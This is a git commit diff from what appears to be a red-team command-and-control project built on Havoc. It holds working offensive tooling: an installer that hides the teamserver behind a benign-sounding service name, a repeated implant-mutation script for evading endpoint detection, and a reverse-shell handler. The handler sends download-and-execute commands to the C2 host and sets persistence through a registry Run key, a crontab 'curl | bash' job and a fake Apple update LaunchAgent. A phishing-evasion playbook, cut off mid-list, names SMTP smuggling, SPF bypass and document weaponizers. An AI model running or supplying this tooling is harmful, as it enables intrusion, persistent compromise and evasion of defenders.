Restructure in-progress

This commit is contained in:
n0mad1k
2025-07-04 23:48:04 -04:00
parent 32aad50820
commit 36de65ba60
114 changed files with 670 additions and 1041 deletions
+234
View File
@@ -0,0 +1,234 @@
#!/bin/bash
# Enhanced Havoc C2 Framework installer optimized for Red Team Operations
# This script installs and configures Havoc with EDR evasion features
# The mutation features are applied BEFORE building to ensure proper compilation
set -e
TEMP_DIR=$(mktemp -d)
LOG_FILE="/root/Tools/havoc_installer.log"
HAVOC_DIR="/root/Tools/Havoc"
HAVOC_DATA_DIR="/root/Tools/Havoc/data"
COMPILER_URL="http://musl.cc/x86_64-w64-mingw32-cross.tgz"
COMPILER_DIR="/usr/bin/x86_64-w64-mingw32-cross"
COMPILER_PATH="$COMPILER_DIR/bin/x86_64-w64-mingw32-gcc"
IMPLANT_MUTATOR_SCRIPT="$HAVOC_DIR/implant_mutator.sh"
HAVOC_GITHUB="https://github.com/HavocFramework/Havoc.git"
# Function to log messages
log() {
echo "[$(date +"%Y-%m-%d %H:%M:%S")] $1" | tee -a $LOG_FILE
}
# Function to generate random strings
random_string() {
local length=${1:-16}
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
}
# Generate random build ID for implant signature
RANDOMIZED_BUILD_ID=$(random_string 16)
# Install required dependencies
log "Installing dependencies..."
apt-get update >/dev/null 2>&1
apt-get install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm >/dev/null 2>&1
# Fix for JSON dependency
log "Installing nlohmann-json manually..."
mkdir -p /tmp/json
cd /tmp/json
wget -q https://github.com/nlohmann/json/releases/download/v3.11.2/json.hpp
mkdir -p /usr/include/nlohmann
cp json.hpp /usr/include/nlohmann/
cd - > /dev/null
# Setup Go environment
log "Setting up Go environment..."
mkdir -p /root/go
export GOPATH=/root/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
# Download and install compiler fix
log "Downloading and installing fixed compiler..."
if [ ! -d "$COMPILER_DIR" ]; then
# Download the compiler
wget -q -O /tmp/compiler.tgz $COMPILER_URL
# Extract to /usr/bin
tar -xzf /tmp/compiler.tgz -C /usr/bin
# Verify compiler exists
if [ -f "$COMPILER_PATH" ]; then
log "Compiler installed successfully at $COMPILER_PATH"
chmod +x $COMPILER_PATH
else
log "Error: Compiler installation failed. File not found at $COMPILER_PATH"
fi
# Clean up
rm -f /tmp/compiler.tgz
else
log "Compiler already installed at $COMPILER_DIR"
fi
# Clone Havoc repository
log "Cloning Havoc repository..."
if [ -d "$HAVOC_DIR" ]; then
log "Havoc directory already exists, updating..."
cd $HAVOC_DIR
git pull
else
# Clone with proper GitHub URL
git clone --quiet -b dev $HAVOC_GITHUB $HAVOC_DIR
cd $HAVOC_DIR
fi
# Create data directories
mkdir -p $HAVOC_DATA_DIR
mkdir -p $HAVOC_DIR/payloads
mkdir -p $HAVOC_DIR/payloads/backup
# Initialize submodules
log "Initializing submodules..."
cd $HAVOC_DIR
git submodule init
git submodule update --recursive
# Create improved implant mutator script BEFORE building
log "Creating implant mutator script..."
cat > "$IMPLANT_MUTATOR_SCRIPT" << 'EOF'
#!/bin/bash
# === CONFIG ===
IMPLANT_DIR="$HOME/Tools/havoc/payloads/Demon"
SRC_DIR="$IMPLANT_DIR/src"
BUILD_ROOT="$HOME/Tools/havoc"
OUTPUT_FILE="$HOME/Tools/havoc/payloads/Shellcode.x64.bin"
BACKUP_DIR="$HOME/Tools/havoc/payloads/backup"
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
# === COLORS ===
YELLOW='\033[1;33m'
GREEN='\033[1;32m'
NC='\033[0m'
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
# === 1. Backup Previous Shellcode ===
mkdir -p "$BACKUP_DIR"
if [[ -f "$OUTPUT_FILE" ]]; then
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
else
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
fi
# === 2. Generate Random Identifiers ===
random_str() {
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
}
UA=$(random_str)
URI=$(random_str)
PIPE=$(random_str)
MUTEX=$(random_str)
# === 3. Mutate TransportHttp.c ===
THTTP="$SRC_DIR/core/TransportHttp.c"
if [[ -f "$THTTP" ]]; then
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
sed -i "s|/stage|/${URI}|g" "$THTTP"
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
else
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
fi
# === 4. Mutate Named Pipe and Mutex ===
TARGET_FILE=""
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
if [[ -f "$f" ]]; then
TARGET_FILE="$f"
break
fi
done
if [[ -n "$TARGET_FILE" ]]; then
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
else
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
fi
# === 5. Rebuild Implant via Top-Level Makefile ===
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
cd "$BUILD_ROOT" || exit 1
make clean && make
# === 6. Confirm Shellcode Output ===
if [[ -f "$OUTPUT_FILE" ]]; then
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
else
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
exit 1
fi
EOF
chmod +x "$IMPLANT_MUTATOR_SCRIPT"
# Perform mutations BEFORE building - this is critical
# log "Running implant mutations script before building..."
# if [ -d "$HAVOC_DIR/payloads/Demon" ]; then
# $IMPLANT_MUTATOR_SCRIPT
# if [ $? -ne 0 ]; then
# log "Warning: Implant mutation script ran with errors, but continuing build..."
# fi
# else
# log "Skipping implant mutations as Demon directory not found yet. Will be applied after build."
# fi
# Install additional Go dependencies for the teamserver
log "Installing Go dependencies for teamserver..."
cd $HAVOC_DIR/teamserver
go mod download golang.org/x/sys
cd $HAVOC_DIR
# Build Havoc using make - build teamserver first
log "Building Havoc teamserver..."
cd $HAVOC_DIR
make ts-build
# Build Havoc client
#log "Building Havoc client..."
#make client-build
# Create systemd service for Havoc
log "Creating systemd service for Havoc teamserver..."
cat > /etc/systemd/system/havoc.service << EOF
[Unit]
Description=Advanced Security Service
After=network.target
[Service]
Type=simple
User=root
Group=root
WorkingDirectory=$HAVOC_DIR/teamserver
ExecStart=$HAVOC_DIR/havoc server -d
Restart=always
RestartSec=10
# Security measures
PrivateTmp=true
ProtectHome=false
NoNewPrivileges=true
[Install]
WantedBy=multi-user.target
EOF
# Set proper permissions
log "Setting proper permissions..."
chmod -R 755 $HAVOC_DIR
# Create symlinks to executables in /usr/local/bin
ln -sf $HAVOC_DIR/havoc /usr/local/bin/havoc
ln -sf $IMPLANT_MUTATOR_SCRIPT /usr/local/bin/havoc-mutate
# Enable and start Havoc service
log "Enabling and starting Havoc service..."
systemctl daemon-reload
systemctl enable havoc
systemctl start havoc
log "Havoc C2 installation completed successfully!"
+76
View File
@@ -0,0 +1,76 @@
#!/bin/bash
# === CONFIG ===
IMPLANT_DIR="$HOME/Tools/Havoc/payloads/Demon"
SRC_DIR="$IMPLANT_DIR/src"
BUILD_ROOT="$HOME/Tools/Havoc"
OUTPUT_FILE="$HOME/Tools/Havoc/payloads/Shellcode.x64.bin"
BACKUP_DIR="$HOME/Tools/Havoc/payloads/backup"
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
# === COLORS ===
YELLOW='\033[1;33m'
GREEN='\033[1;32m'
NC='\033[0m'
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
# === 1. Backup Previous Shellcode ===
mkdir -p "$BACKUP_DIR"
if [[ -f "$OUTPUT_FILE" ]]; then
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
else
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
fi
# === 2. Generate Random Identifiers ===
random_str() {
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
}
UA=$(random_str)
URI=$(random_str)
PIPE=$(random_str)
MUTEX=$(random_str)
# === 3. Mutate TransportHttp.c ===
THTTP="$SRC_DIR/core/TransportHttp.c"
if [[ -f "$THTTP" ]]; then
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
sed -i "s|/stage|/${URI}|g" "$THTTP"
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
else
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
fi
# === 4. Mutate Named Pipe and Mutex ===
TARGET_FILE=""
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
if [[ -f "$f" ]]; then
TARGET_FILE="$f"
break
fi
done
if [[ -n "$TARGET_FILE" ]]; then
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
else
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
fi
# === 5. Rebuild Implant via Top-Level Makefile ===
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
cd "$BUILD_ROOT" || exit 1
make clean && make
# === 6. Confirm Shellcode Output ===
if [[ -f "$OUTPUT_FILE" ]]; then
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
else
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
exit 1
fi
+218
View File
@@ -0,0 +1,218 @@
#!/bin/bash
# Automated shell handler for catching and upgrading shells to Havoc C2 agents
# Configuration
LISTEN_PORT=4488
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
HAVOC_PORT=40056 # Havoc default Teamserver port
HAVOC_USER="admin"
HAVOC_DIR="/root/Tools/Havoc"
WINDOWS_PAYLOAD="windows/agent_win.exe"
LINUX_PAYLOAD="linux/agent_linux"
# Set secure permissions
umask 077
# Logging function (minimal and encrypted)
log() {
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
local message="$1"
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
}
# Detect OS function
detect_os() {
local connection=$1
# Send commands to determine OS
echo "echo \$OSTYPE" > $connection
sleep 1
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
if [[ $ostype == *"win"* ]]; then
echo "windows"
elif [[ $ostype == *"darwin"* ]]; then
echo "macos"
elif [[ $ostype == *"linux"* ]]; then
echo "linux"
else
# Try Windows-specific command
echo "ver" > $connection
sleep 1
winver=$(cat $connection | grep -i "microsoft windows")
if [[ -n "$winver" ]]; then
echo "windows"
else
# Default to Linux if we can't determine
echo "linux"
fi
fi
}
# Get Havoc password
get_havoc_password() {
# Extract password from Havoc profile
HAVOC_PASS=$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)
echo $HAVOC_PASS
}
# Deploy appropriate Havoc agent based on OS
deploy_agent() {
local connection=$1
local os_type=$2
log "Deploying Havoc agent for detected OS: $os_type"
# Get the latest payload paths from manifest
local manifest="/root/Tools/Havoc/payloads/manifest.json"
if [ -f "$manifest" ]; then
if [ "$os_type" == "windows" ]; then
WIN_EXE=$(jq -r '.windows_exe' "$manifest")
PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/$WIN_EXE"
elif [ "$os_type" == "linux" ]; then
LINUX_BIN=$(jq -r '.linux_binary' "$manifest")
PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/$LINUX_BIN"
fi
else
# Use default paths if manifest doesn't exist
if [ "$os_type" == "windows" ]; then
PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/agent_win.exe"
elif [ "$os_type" == "linux" ]; then
PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/agent_linux"
fi
fi
case $os_type in
windows)
# Setup Python HTTP server for payload delivery
mkdir -p /tmp/havoc_payloads
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update.exe
cd /tmp/havoc_payloads
python3 -m http.server 8888 &
HTTP_PID=$!
# Use PowerShell to download and execute
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('http://$C2_HOST:8888/update.exe', \$env:TEMP+'\\update.exe'); Start-Process \$env:TEMP+'\\update.exe'" > $connection
sleep 10
# Cleanup HTTP server
kill $HTTP_PID
;;
linux)
# Setup Python HTTP server for payload delivery
mkdir -p /tmp/havoc_payloads
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
chmod +x /tmp/havoc_payloads/update
cd /tmp/havoc_payloads
python3 -m http.server 8888 &
HTTP_PID=$!
# Use curl to download and execute
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
sleep 10
# Cleanup HTTP server
kill $HTTP_PID
;;
macos)
# For macOS, we'll attempt to use the Linux payload
mkdir -p /tmp/havoc_payloads
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
chmod +x /tmp/havoc_payloads/update
cd /tmp/havoc_payloads
python3 -m http.server 8888 &
HTTP_PID=$!
# Use curl to download and execute
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
sleep 10
# Cleanup HTTP server
kill $HTTP_PID
;;
esac
log "Havoc agent deployment command sent"
}
# Establish persistence based on OS
establish_persistence() {
local connection=$1
local os_type=$2
log "Attempting to establish persistence on $os_type"
case $os_type in
windows)
# Windows persistence via registry run key
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
;;
linux)
# Linux persistence via crontab
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/linux_stager.sh | bash') | crontab -" > $connection
;;
macos)
# macOS persistence via launch agent
echo "mkdir -p ~/Library/LaunchAgents" > $connection
echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/linux_stager.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
;;
esac
log "Persistence commands sent for $os_type"
}
# Main shell handler loop
handle_connections() {
log "Shell handler started on port $LISTEN_PORT"
# Use mkfifo for bidirectional communication
PIPE_PATH="/tmp/shell_handler_pipe"
trap 'rm -f $PIPE_PATH' EXIT
while true; do
# Clean up existing pipe
rm -f $PIPE_PATH
mkfifo $PIPE_PATH
log "Waiting for incoming connection..."
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
NC_PID=$!
# Wait for connection to be established
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
sleep 1
# Check if nc is still running
if ! kill -0 $NC_PID 2>/dev/null; then
log "Netcat process died, restarting..."
rm -f $PIPE_PATH $PIPE_PATH.output
continue 2 # Restart the outer loop
fi
done
log "Connection received, detecting OS..."
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
log "Detected OS: $DETECTED_OS"
# Deploy Havoc agent
deploy_agent "$PIPE_PATH" "$DETECTED_OS"
sleep 5
# Establish persistence
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
sleep 5
# Keep connection alive for manual operation if needed
log "Havoc agent deployed, maintaining shell connection..."
echo "echo 'Shell upgraded to Havoc agent. This connection will remain active for manual operation.'" > $PIPE_PATH
# Wait for connection to close
wait $NC_PID
log "Connection closed, cleaning up and restarting listener..."
rm -f $PIPE_PATH.output
done
}
# Start the shell handler
handle_connections
+65
View File
@@ -0,0 +1,65 @@
#!/bin/bash
# === CONFIG ===
IMPLANT_DIR="$HOME/Tools/havoc/payloads/Demon"
SRC_DIR="$IMPLANT_DIR/src"
BUILD_ROOT="$HOME/Tools/havoc"
OUTPUT_FILE="$HOME/Tools/havoc/payloads/Shellcode.x64.bin"
BACKUP_DIR="$HOME/Tools/havoc/payloads/backup"
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
# === COLORS ===
YELLOW='\033[1;33m'
GREEN='\033[1;32m'
NC='\033[0m'
echo -e "${YELLOW}[+] Starting Havoc implant mutation...${NC}"
# === 1. Backup Previous Shellcode ===
mkdir -p "$BACKUP_DIR"
if [[ -f "$OUTPUT_FILE" ]]; then
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
echo -e "${GREEN}[*] Previous shellcode backed up to: implant_$TIMESTAMP.raw${NC}"
else
echo -e "${YELLOW}[!] No previous shellcode found to back up.${NC}"
fi
# === 2. Generate Random Identifiers ===
random_str() {
tr -dc A-Za-z0-9 </dev/urandom | head -c 12
}
UA=$(random_str)
URI=$(random_str)
PIPE=$(random_str)
MUTEX=$(random_str)
# === 3. Mutate TransportHttp.c ===
THTTP="$SRC_DIR/core/TransportHttp.c"
if [[ -f "$THTTP" ]]; then
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
sed -i "s|/stage|/${URI}|g" "$THTTP"
echo -e "${GREEN}[*] Replaced User-Agent with '${UA}' and URI path with '/${URI}'${NC}"
else
echo -e "${YELLOW}[!] TransportHttp.c not found. Skipping User-Agent/URI mutation.${NC}"
fi
# === 4. Mutate Named Pipe and Mutex ===
TARGET_FILE=""
for f in "$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c"; do
if [[ -f "$f" ]]; then
TARGET_FILE="$f"
break
fi
done
if [[ -n "$TARGET_FILE" ]]; then
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
sed -i "s|Mutex_[a-zA-Z0-9_]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
echo -e "${GREEN}[*] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
echo -e "${GREEN}[*] Randomized mutex: Mutex_${MUTEX}${NC}"
else
echo -e "${YELLOW}[!] No config file found to mutate mutex/pipe.${NC}"
fi
# === 5. Rebuild Implant via Top-Level Makefile ===
echo -e "${YELLOW}[+] Rebuilding Havoc payload from top-level makefile...${NC}"
cd "$BUILD_ROOT" || exit 1
make clean && make
# === 6. Confirm Shellcode Output ===
if [[ -f "$OUTPUT_FILE" ]]; then
echo -e "${GREEN}[+] Success! New shellcode generated: $OUTPUT_FILE${NC}"
else
echo -e "${YELLOW}[!] Build failed or shellcode was not generated.${NC}"
exit 1
fi
+302
View File
@@ -0,0 +1,302 @@
#!/bin/bash
# post_install_c2.sh - Post-installation setup for C2 server
# ANSI color codes
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
RED='\033[0;31m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
# Default settings
DEBUG=false
RUN_ON_REDIRECTOR=false
# Show usage information
function show_usage() {
echo "Usage: $0 [options]"
echo ""
echo "Options:"
echo " -d, --debug Enable debug/verbose output"
echo " -r, --run-on-redirector Run post-install script on redirector"
echo " -h, --help Show this help message"
echo ""
}
# Process command line arguments
while [[ $# -gt 0 ]]; do
case $1 in
-d|--debug)
DEBUG=true
shift
;;
-r|--run-on-redirector)
RUN_ON_REDIRECTOR=true
shift
;;
-h|--help)
show_usage
exit 0
;;
*)
echo "Unknown option: $1"
show_usage
exit 1
;;
esac
done
# Debug function - only prints if DEBUG is true
function debug() {
if [ "$DEBUG" = true ]; then
echo -e "${BLUE}[DEBUG] $1${NC}"
fi
}
echo -e "${BLUE}==================================================${NC}"
echo -e "${BLUE} C2ingRed Post-Installation Setup - C2 Server ${NC}"
echo -e "${BLUE}==================================================${NC}"
# Function to check if domain resolves to current IP
check_dns() {
domain=$1
current_ip=$(curl -s ifconfig.me)
resolved_ip=$(dig +short $domain)
debug "Checking DNS for $domain"
debug "Current IP: $current_ip"
debug "Resolved IP: $resolved_ip"
if [ "$resolved_ip" = "$current_ip" ]; then
echo -e "${GREEN}DNS check passed for $domain!${NC}"
return 0
else
echo -e "${YELLOW}DNS check failed for $domain${NC}"
echo -e "Current IP: $current_ip"
echo -e "Resolved IP: $resolved_ip or not set"
return 1
fi
}
# Function to set up Let's Encrypt
setup_letsencrypt() {
domain=$1
email=$2
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
debug "Domain: $domain, Email: $email"
# Stop Havoc service temporarily to free port 80
systemctl stop havoc 2>/dev/null
debug "Stopped Havoc service"
# Get certificate
debug "Running certbot to obtain certificate"
if [ "$DEBUG" = true ]; then
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
else
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive >/dev/null 2>&1
fi
cert_result=$?
debug "Certbot result code: $cert_result"
if [ $cert_result -eq 0 ]; then
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
# Configure applications to use the certificate if needed
if [ -f "/etc/postfix/main.cf" ]; then
debug "Updating Postfix configuration with new certificate"
sed -i "s|^smtpd_tls_cert_file =.*|smtpd_tls_cert_file = /etc/letsencrypt/live/$domain/fullchain.pem|" /etc/postfix/main.cf
sed -i "s|^smtpd_tls_key_file =.*|smtpd_tls_key_file = /etc/letsencrypt/live/$domain/privkey.pem|" /etc/postfix/main.cf
fi
# Restart Havoc
debug "Restarting Havoc service"
systemctl start havoc
return 0
else
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
# Restart Havoc
debug "Restarting Havoc service"
systemctl start havoc
return 1
fi
}
# Function to display DKIM/DMARC records
show_dns_records() {
domain=$1
debug "Showing DNS records for $domain"
if [ -f "/etc/opendkim/keys/$domain/mail.txt" ]; then
echo -e "\n${BLUE}DKIM DNS Record Information for $domain${NC}"
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
echo -e "${GREEN}=================================================${NC}"
echo -e "Name: mail._domainkey.$domain"
echo -e "Value:"
cat /etc/opendkim/keys/$domain/mail.txt | grep -v "^;" | tr -d '\n'
echo -e "\n${GREEN}=================================================${NC}"
fi
echo -e "\n${BLUE}DMARC Record Recommendation for $domain${NC}"
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
echo -e "${GREEN}=================================================${NC}"
echo -e "Name: _dmarc.$domain"
echo -e "Value: v=DMARC1; p=reject; rua=mailto:admin@$domain; ruf=mailto:admin@$domain; pct=100"
echo -e "${GREEN}=================================================${NC}"
}
# Function to test redirector connection
test_redirector() {
# Check if SSH to redirector is configured
debug "Testing redirector connection"
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
echo -e "\n${BLUE}Testing SSH connection to redirector...${NC}"
if [ "$DEBUG" = true ]; then
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'"
else
ssh -o ConnectTimeout=5 redirector "echo 'Connection successful'" >/dev/null 2>&1
fi
ssh_result=$?
debug "SSH connection result: $ssh_result"
if [ $ssh_result -eq 0 ]; then
echo -e "${GREEN}SSH connection to redirector successful!${NC}"
echo -e "You can access the redirector with: ${YELLOW}ssh redirector${NC}"
return 0
else
echo -e "${RED}Could not connect to redirector.${NC}"
echo -e "${YELLOW}Please verify SSH configuration and firewall rules.${NC}"
return 1
fi
else
echo -e "\n${YELLOW}Redirector SSH configuration not found.${NC}"
echo -e "If you need to access the redirector, please check deployment logs."
return 1
fi
}
# Function to synchronize payloads with redirector
sync_payloads() {
# Check if sync script exists
debug "Attempting to synchronize payloads with redirector"
if [ -f "/root/Tools/secure_payload_sync.sh" ]; then
echo -e "\n${BLUE}Synchronizing payloads with redirector...${NC}"
if [ "$DEBUG" = true ]; then
/root/Tools/secure_payload_sync.sh
else
/root/Tools/secure_payload_sync.sh >/dev/null 2>&1
fi
sync_result=$?
debug "Payload sync result: $sync_result"
if [ $sync_result -eq 0 ]; then
echo -e "${GREEN}Payload synchronization successful${NC}"
return 0
else
echo -e "${RED}Payload synchronization failed${NC}"
echo -e "${YELLOW}Check /root/Tools/logs/payload_sync.log for details${NC}"
return 1
fi
else
echo -e "\n${YELLOW}Payload sync script not found${NC}"
return 1
fi
}
# Function to run redirector post-install script
run_redirector_setup() {
echo -e "\n${BLUE}Running post-installation setup on redirector...${NC}"
debug "Checking if we can connect to redirector"
# First, test the connection
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
# Check if post_install_redirector.sh exists on the redirector
debug "Checking for post_install_redirector.sh on redirector"
ssh -o ConnectTimeout=5 redirector "test -f /root/Tools/post_install_redirector.sh" >/dev/null 2>&1
check_result=$?
debug "Script check result: $check_result"
if [ $check_result -eq 0 ]; then
echo -e "${BLUE}Running post-install script on redirector...${NC}"
# Pass the debug flag if it's enabled here
if [ "$DEBUG" = true ]; then
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh --debug"
else
ssh -o ConnectTimeout=10 redirector "/root/Tools/post_install_redirector.sh"
fi
redir_setup_result=$?
debug "Redirector setup result: $redir_setup_result"
if [ $redir_setup_result -eq 0 ]; then
echo -e "${GREEN}Redirector post-installation completed successfully${NC}"
return 0
else
echo -e "${RED}Redirector post-installation failed${NC}"
return 1
fi
else
echo -e "${RED}post_install_redirector.sh not found on redirector${NC}"
return 1
fi
else
echo -e "${RED}SSH configuration for redirector not found${NC}"
echo -e "${YELLOW}Cannot run post-installation on redirector${NC}"
return 1
fi
}
# Main execution
debug "Starting post-installation process with debug mode: $DEBUG"
debug "Run on redirector flag: $RUN_ON_REDIRECTOR"
echo -e "\n${BLUE}Running post-installation checks...${NC}"
# Get domain information
read -p "Enter primary domain: " domain
read -p "Enter email for Let's Encrypt: " email
# Check DNS configuration
echo -e "\n${BLUE}Checking DNS configuration...${NC}"
check_dns $domain
# Ask if user wants to set up Let's Encrypt certificates
read -p "Set up Let's Encrypt SSL certificate? (y/n): " setup_ssl
if [ "$setup_ssl" = "y" ]; then
setup_letsencrypt $domain $email
fi
# Show DNS records to configure
show_dns_records $domain
# Test redirector connection
test_redirector
# Ask if user wants to sync payloads
read -p "Synchronize payloads with redirector? (y/n): " sync_payload
if [ "$sync_payload" = "y" ]; then
sync_payloads
fi
# Ask if user wants to run post-install on redirector
if [ "$RUN_ON_REDIRECTOR" = true ] || test_redirector; then
read -p "Run post-installation setup on redirector? (y/n): " run_on_redir
if [ "$run_on_redir" = "y" ]; then
run_redirector_setup
fi
fi
echo -e "\n${GREEN}Post-installation checks complete!${NC}"
echo -e "${YELLOW}Ensure your DNS records are properly configured.${NC}"
echo -e "${YELLOW}See your deployment log for complete infrastructure details.${NC}"
@@ -0,0 +1,137 @@
---
# Advanced evasion techniques for red team phishing
- name: Install advanced evasion tools
apt:
name:
- python3-dnspython
- python3-requests
- python3-selenium
- chromium-browser
- chromium-chromedriver
- tor
- proxychains4
state: present
- name: Create SMTP smuggling configuration
template:
src: "../templates/smtp-smuggling.py.j2"
dest: "/root/Tools/phishing/smtp-smuggling.py"
mode: '0755'
owner: root
group: root
when: enable_smtp_smuggling | default(false) | bool
- name: Configure SPF bypass techniques
template:
src: "../templates/spf-bypass.sh.j2"
dest: "/root/Tools/phishing/spf-bypass.sh"
mode: '0755'
owner: root
group: root
when: enable_spf_bypass | default(false) | bool
- name: Create domain aging simulation
template:
src: "../templates/domain-aging.py.j2"
dest: "/root/Tools/phishing/domain-aging.py"
mode: '0755'
owner: root
group: root
when: aged_domain_mode | default(false) | bool
- name: Set up MTA fronting configuration
template:
src: "../templates/mta-fronting.conf.j2"
dest: "/etc/postfix/mta_fronting.cf"
mode: '0644'
owner: root
group: root
when: enable_mta_fronting | default(false) | bool
notify: restart postfix
- name: Create file format manipulation tools
copy:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0755'
owner: root
group: root
with_items:
- { src: "../files/pdf-weaponizer.py", dest: "/root/Tools/phishing/pdf-weaponizer.py" }
- { src: "../files/office-macro-generator.py", dest: "/root/Tools/phishing/office-macro-generator.py" }
- { src: "../files/lnk-generator.py", dest: "/root/Tools/phishing/lnk-generator.py" }
- name: Create Living off the Land (LOtL) payload templates
template:
src: "{{ item.src }}"
dest: "{{ item.dest }}"
mode: '0644'
owner: root
group: root
with_items:
